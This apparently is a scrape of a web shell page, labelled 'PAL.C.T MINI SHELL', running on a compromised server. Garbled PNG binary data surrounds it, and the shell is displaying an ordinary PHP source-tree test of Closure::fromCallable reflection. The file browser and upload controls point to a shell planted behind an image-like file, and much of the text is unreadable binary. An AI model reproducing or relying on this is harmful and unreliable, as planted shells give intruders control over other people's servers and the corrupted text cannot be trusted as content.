php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/Zend/tests/closures/
upload
files >> //php-7.1.11/Zend/tests/closures/closure_from_callable_reflection.phpt

--TEST--
Testing Closure::fromCallable() functionality: Reflection
--FILE--
<?php

class Bar {
	public static function staticMethod(Bar $bar, int $int, $none) {}
	public static function instanceMethod(Bar $bar, int $int, $none) {}
}

function foo(Bar $bar, int $int, $none) {

}

$fn = function (Bar $bar, int $x, $none) {};
$bar = new Bar();

$callables = [
	'foo',
	$fn,
	'Bar::staticMethod',
	[$bar, 'instanceMethod']
];


foreach ($callables as $callable) {
	$closure = Closure::fromCallable($callable);
	$refl = new ReflectionFunction($closure);
	foreach ($refl->getParameters() as $param) {
		if ($param->hasType()) {
			$type = $param->getType();
			echo $type->getName() . "\n";
		}
	}
}

?>
--EXPECTF--
Bar
int
Bar
int
Bar
int
Bar
int
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`